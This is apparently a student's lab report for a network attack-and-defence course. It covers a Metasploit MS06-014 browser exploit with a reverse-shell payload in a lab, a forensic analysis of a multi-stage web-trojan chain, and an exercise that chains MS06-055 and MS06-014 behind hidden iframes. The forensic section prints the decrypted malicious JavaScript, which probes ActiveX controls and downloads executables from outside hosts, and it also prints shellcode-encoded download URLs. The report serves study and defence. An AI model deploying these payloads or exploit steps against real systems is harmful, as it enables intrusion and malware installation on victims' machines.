20253920 2025-2026-2 《网络攻防实践》第11次作业
20253920 2025-2026-2 《网络攻防实践》第11次作业
1.实践内容
本次实践主要围绕浏览器漏洞利用与网页木马分析展开,实验内容包括基于 Metasploit 的浏览器渗透攻击、网页木马取证分析,以及浏览器漏洞利用的攻防对抗实践。和前面几次直接攻击 SMB、Samba 或 Web 应用漏洞不同,这次实验的攻击入口是浏览器。也就是说,靶机本身不一定主动暴露某个服务给攻击者,而是用户在浏览器中访问了恶意网页后,浏览器或相关 ActiveX 控件被触发漏洞,最终导致攻击者获得远程控制会话。
1.1 基于 Metasploit 的浏览器渗透攻击(MS06-014 漏洞)
本部分实验主要使用 Metasploit 中的 MS06-014 IE CreateObject 漏洞模块进行浏览器渗透攻击。该漏洞与 Internet Explorer 中 ActiveX 对象创建和调用过程有关,当靶机使用存在漏洞的 IE 浏览器访问攻击者构造的恶意网页时,可能触发漏洞并执行攻击者指定的载荷。
实验中,攻击机使用 Kali,靶机使用 Windows XP。首先在 Metasploit 中搜索并加载 exploit/windows/browser/ie_createobject 模块,然后选择 windows/shell/reverse_tcp 作为反向 Shell 载荷。这里的反向 Shell 指的是靶机触发漏洞后主动连接攻击机,而不是攻击机直接连接靶机,这种方式在浏览器漏洞利用中比较常见。
在参数配置中,需要设置攻击机 IP 作为 LHOST,设置监听端口作为 LPORT。配置完成后,执行 exploit 命令,Metasploit 会自动启动临时 Web 服务,并生成一个恶意 URL。靶机使用 IE 浏览器访问该 URL 后,浏览器解析页面内容并触发 MS06-014 漏洞,随后执行反向 Shell 载荷,使攻击机获得远程命令行会话。
会话建立后,可以在攻击机端执行 net user、ipconfig、dir 等 Windows 命令,验证是否已经成功控制靶机。通过这一部分实验,可以比较直观地看到浏览器漏洞攻击的基本流程:攻击者构造恶意网页,受害者访问网页,浏览器漏洞被触发,payload 执行并回连攻击机,最终形成远程控制会话。
1.2 网页木马取证分析实践
本部分实验主要是对网页木马攻击链进行取证分析。网页木马通常不会把全部恶意代码直接写在一个网页里,而是通过多层跳转、隐藏 iframe、外部脚本加载和代码混淆来隐藏真实攻击逻辑。本次实验中的网页木马加载链为:
start.html → new09.htm → kl.htm → 二阶段脚本 → 恶意 EXE
首先分析 start.html,发现它会进一步指向 new09.htm。继续分析 new09.htm 后,可以看到其中通过隐藏 iframe 加载 kl.htm,同时还通过 script 标签加载外部 JavaScript 文件。这里说明 new09.htm 本身并不是完整木马代码,而是一个中间跳转页面,主要作用是把用户引导到真正的漏洞利用页面。
进入 kl.htm 后,可以发现其中包含大量混淆脚本。该脚本使用 Base64 与 XXTEA 组合方式进行加密和隐藏,直接打开时很难看出真实功能。实验中需要先提取密钥,再按照“Base64 解码、XXTEA 解密、JavaScript 转义还原”的顺序进行处理,最后还原出真实的漏洞探测与载荷加载逻辑。
解密后的脚本会检测受害者浏览器中是否存在可利用的 ActiveX 控件,例如 ADODB.Stream、暴风影音控件、PPS 控件和百度工具栏控件。不同控件对应不同的漏洞利用路径:如果 ADODB.Stream 可用,就加载 1.js;如果暴风影音控件可用,就加载 b.js;如果 PPS 控件可用,就加载 pps.js;如果百度工具栏控件可用,则通过 CAB 文件下载并释放恶意程序。
后续对下载得到的 014.exe、bf.exe、pps.exe 和 bd.exe 进行 MD5 哈希校验,发现这些文件虽然下载路径不同,但样本内容一致,说明攻击者使用多条漏洞利用路径投递的是同一个木马样本。这样做的目的就是提高攻击成功率,只要受害者机器上存在其中任意一个可利用控件,就有可能被投递木马。
在样本分析部分,通过脱壳和 IDA 静态分析,可以发现该恶意 EXE 具有下载器特征,同时还包含持久化、进程注入、修改注册表、篡改系统时间、加载驱动等可疑行为。这说明网页木马的最终目的并不是停留在网页层面,而是通过浏览器漏洞把恶意程序落地到系统中,进一步实现长期控制和后续攻击。
1.3 浏览器渗透攻防对抗实践
本部分实验主要模拟浏览器漏洞利用中的攻防对抗过程。攻击方需要构造包含多个浏览器漏洞的挂马页面,防守方则需要对恶意页面进行提取、解混淆和漏洞分析。
攻击端首先分别验证 MS06-055 VML 漏洞和 MS06-014 ActiveX 漏洞。MS06-055 主要涉及 IE 对 VML 组件的处理问题,攻击页面中通常会包含异常构造的 VML 标签或属性,从而触发内存破坏类漏洞。MS06-014 则与 IE 中 ActiveX 控件调用有关,攻击页面会通过特定对象调用方式触发漏洞。两个漏洞单独验证成功后,再将两个漏洞 URL 转换为十六进制字符串,并封装到一个混淆后的 HTML 页面中。
混淆 HTML 页面通过 JavaScript 函数把十六进制字符串还原为真实 URL,并利用隐藏 iframe 在后台加载两个漏洞页面。这样从表面上看,用户只是访问了一个普通页面,但实际上浏览器已经在后台访问多个漏洞利用地址。这也是网页木马常见的隐藏加载方式。
防守端的任务是分析攻击方给出的挂马页面。首先查看页面源码,提取其中的十六进制字符串和解码函数,然后还原出真实的 MS06-055 与 MS06-014 漏洞 URL。接着分别分析两个漏洞页面的源码特征,识别其对应的 CVE 编号、影响组件、触发方式和利用逻辑。
最后,靶机访问混淆挂马页面后,会依次触发两个浏览器漏洞,攻击机获得远程会话。通过这个过程,可以完整观察到浏览器漏洞攻击从构造、混淆、诱导访问、漏洞触发到建立远程控制会话的全过程;同时也能从防守角度理解如何对恶意链接进行解混淆、还原攻击链和判断漏洞类型。
2.实践过程
2.1web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
2.1.1实验环境
实验一选择IP地址为192.168.200.2的kali作为攻击机,IP地址为192.168.200.6的Windows Server 2003作为靶机


同时在winserver2003的属性设置,修改主机名为zch

执行prompt %COMPUTERNAME% $P$G使其在提示符中显示

2.1.2实验步骤:
①选择使用Metasploit中的MS06-014渗透攻击模块
先在kali虚拟机上打开终端,进入root模式,并且打开msfconsole,如下图所示:
搜索MS06-014渗透攻击模块并使用:


选择PAYLOAD为任意远程Shell连接
选择一个Payload:
查看当前模块可用的Payload列表
show payloads

设置Payload为反向Shell连接 set payload windows/shell/reverse_tcp

输入命令sessions,选择会话1,渗透成功。可以输入ipconfig命令来查看靶机的IP。

2.2取证分析实践—网页木马攻击场景分析
实践过程:
用记事本打开 start.html,读取源码,发现通过0 宽高隐藏 iframe加载同目录下 new09.htm,确认第一层挂马跳转链:start.html → new09.htm。

打开 new09.htm,提取两条外部资源链接:
http://js.users.51.la/1299644.js
http://aa.18dd.net/aa/kl.htm
2.2.2 对两个 URL 分别计算32 位小写 MD5 哈希值

7f60672dcd6b5e90b6772545ee219bd3
http://js.users.51.la/1299644.js

23180a42a2ff1192150231b44ffdf3d3
访问这两个哈希值文件,其中7f60672dcd6b5e90b6772545ee219bd3文件是使用了XXTEA+Base64加密,xxtea_decrypt函数的第二个参数就是解密密钥:\x73\x63\x72\x69\x70\x74。密钥使用了16进制加密,转换为字符串就是“script”。


通过XXTEA解密工具对7f60672dcd6b5e90b6772545ee219bd3文件内容解密,密钥就是script。

可以看到,加密者又进行了一步十六进制加密,因此需要对引号内的内容再解密,得到

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}
其中“Adodb.Stream”、“MPS.StormPlayer”、“POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”,分别对应了微软数据库访问对象、暴风影音、PPStream和百度搜霸的漏洞。文件还引用三个js文件和一个压缩包(bd.cab)。
(6)分别求四个文件的md5值:
MD5( http://aa.18dd.net/aa/1.js ,32) = 5d7e9058a857aa2abee820d5473c5fa4
MD5( http://aa.18dd.net/aa/b.js ,32) = 3870c28cc279d457746b3796a262f166
MD5( http://aa.18dd.net/aa/pps.js ,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2
MD5( http://down.18dd.net/bb/bd.cab ,32) = 1c1d7b3539a617517c49eee4120783b2
①http://aa.18dd.net/aa/1.js:5d7e9058a857aa2abee820d5473c5fa4
这是一个十六进制加密文件

解密后的结果如下:

②http://aa.18dd.net/aa/b.js:3870c28cc279d457746b3796a262f166
从开头处的p,a,c,k,e,d,可以得知该文件是使用了packed加密

解密后的结果如下:

在shellcode中找一下URL,因为URL中一定会有“/”,“/”的ASCII码是2f,在shellcode中搜索2f,共找到6处。

后四处较为密集,解密%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000可以得到 http://down.18dd.net/bb/bf.exe 。
③http://aa.18dd.net/aa/pps.js:5f0b8bf0385314dbe0e5ec95e6abedc2
这是一个八进制加密文件

这个和第二个相同,是通过shellcode下载文件,用同样的方法解码
%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065
http://down.18dd.net/bb/bd.cab:1c1d7b3539a617517c49eee4120783b2
这是一个压缩文件,解压可以得到bd.exe文件。

计算四个文件的MD5值
MD5( http://down.18dd.net/bb/014.exe ,32) = ca4e4a1730b0f69a9b94393d9443b979
MD5( http://down.18dd.net/bb/bf.exe ,32) = 268cbd59fbed235f6cf6b41b92b03f8e
MD5( http://down.18dd.net/bb/pps.exe ,32) = ff59b3b8961f502289c1b4df8c37e2a4
MD5( http://down.18dd.net/bb/bd.exe ,32)=994f7810e6a461292cc337bf73981e2c
将bd.exe文件的文件名改为994f7810e6a461292cc337bf73981e2c,然后对这四个文件的MD5散列值进行计算。
四个文件的散列值相同,所以只需要分析一个文件即可。
选择bd.exe文件,在WinXP上使用IDA反编译。可以看到该文件所执行的操作以及拥有的一些属性等信息。

2.3攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
攻击方的操作与第一部分相同,使用MS06-014漏洞生成URL。
MS06-055

访问URL,查看界面的源代码,可以看到其中有大量的空格和空白行,其目的是绕过检查。


获取到shell
MS06-014


利用压缩攻击去除源代码的空格和空白行。可以看到payload中包含一个可执行文件,名为sDpdNJzYnXoSFFVFCOnrkZbi.exe,攻击者即是利用此程序渗透的靶机。

还有代表MS06-014漏洞的编号BD96C556-65A3-11D0-983A-00C04FC29E36等。

3.学习中遇到的问题及解决
1.浏览器漏洞实验对环境要求比较高。MS06-014 和 MS06-055 这类老漏洞和系统版本、IE 浏览器版本、ActiveX 控件状态都有关系,所以一开始访问恶意 URL 时,并不是每次都能稳定获得 session。后面通过检查攻击机和靶机网络连通性、确认 Metasploit 参数配置,并重新清理旧的任务和会话后,才让实验过程更稳定。
2.Metasploit 多个模块同时测试时容易出现端口冲突。比如前一个漏洞模块没有关闭,后面再启动新的模块时,可能会出现监听端口被占用或者 session 混乱的问题。解决方法是在每次重新测试前清理旧任务和旧会话,并给不同漏洞设置不同的 SRVPORT 和 LPORT。
3.问题是网页木马的加载链比较绕。start.html 本身看不到真正的恶意代码,需要继续分析 new09.htm、kl.htm 和后续脚本,才能还原完整攻击链。后面我按照“入口页面—隐藏 iframe—外部脚本—二阶段脚本—木马样本”的顺序逐层分析,思路就清楚了很多。
4.混淆代码分析比较麻烦。kl.htm 中使用了 Base64、XXTEA 和十六进制编码,直接打开基本看不懂。后面通过找到解密密钥 script,再按 Base64 解码、XXTEA 解密和十六进制还原的顺序处理,才看清它对 ADODB.Stream、暴风影音、PPS、百度工具栏等 ActiveX 控件的检测和利用逻辑。
4.实践总结
第11次实践主要围绕浏览器漏洞利用和网页木马分析展开。和前面直接攻击系统服务的实验不同,这次的攻击入口是浏览器。靶机表面上只是访问了一个网页,但后台可能已经完成了漏洞触发、脚本加载、木马下载和反向连接。这个过程让我对“网页木马为什么危险”有了更直观的认识。
这次实验中,MS06-014 和 MS06-055 都属于典型的老旧浏览器漏洞利用。攻击者通过 Metasploit 构造恶意 URL,让靶机 IE 访问后触发漏洞,最终建立远程 shell 会话。这个过程和前面第6次 MS08-067、 第7次 Samba 漏洞有相似的地方,最后都是拿到远程控制权;但区别在于,这次不是直接攻击靶机开放端口,而是利用用户访问网页这个动作完成攻击。
网页木马分析部分是这次实验里最有价值的地方。通过分析 start.html、new09.htm、kl.htm 和后续脚本,可以看出网页木马通常不是单层结构,而是分层加载、逐步跳转、混淆隐藏。攻击者会先用隐藏 iframe 或 script 标签把用户带到真正的漏洞页面,再通过混淆脚本检测受害者浏览器环境,最后选择合适的 ActiveX 漏洞下载木马程序。
这次实验还让我认识到,多路径投递是网页木马常见思路。ADODB.Stream、暴风影音、PPS、百度工具栏这些漏洞路径看起来不一样,但最后投递的 EXE 样本却是同一个。这说明攻击者并不是只依赖一个漏洞,而是尽量覆盖更多可能存在漏洞的客户端组件,只要命中其中一个,就能继续完成木马落地。
从防守角度看,这次实践也说明了浏览器安全不能只靠“不乱点链接”。如果系统和浏览器太旧,ActiveX 控件没有限制,插件长期不更新,那么即使只是打开一个网页,也可能触发漏洞。防御时应该及时更新系统和浏览器,禁用不必要的 ActiveX 控件,限制脚本执行,同时结合杀毒软件、浏览器安全策略和网络侧检测来降低风险。
总体来说,第11次实践把前面学过的 Metasploit、恶意代码分析、Web 安全和取证分析都串起来了。通过这次实验,我不仅看到了浏览器漏洞如何被利用,也理解了网页木马从入口页面到最终木马样本落地的完整过程。后面如果再遇到类似分析任务,我会先梳理页面加载链,再解混淆脚本,接着提取下载链接和样本哈希,最后结合静态分析判断木马行为,而不是只盯着一个网页文件看。

浙公网安备 33010602011771号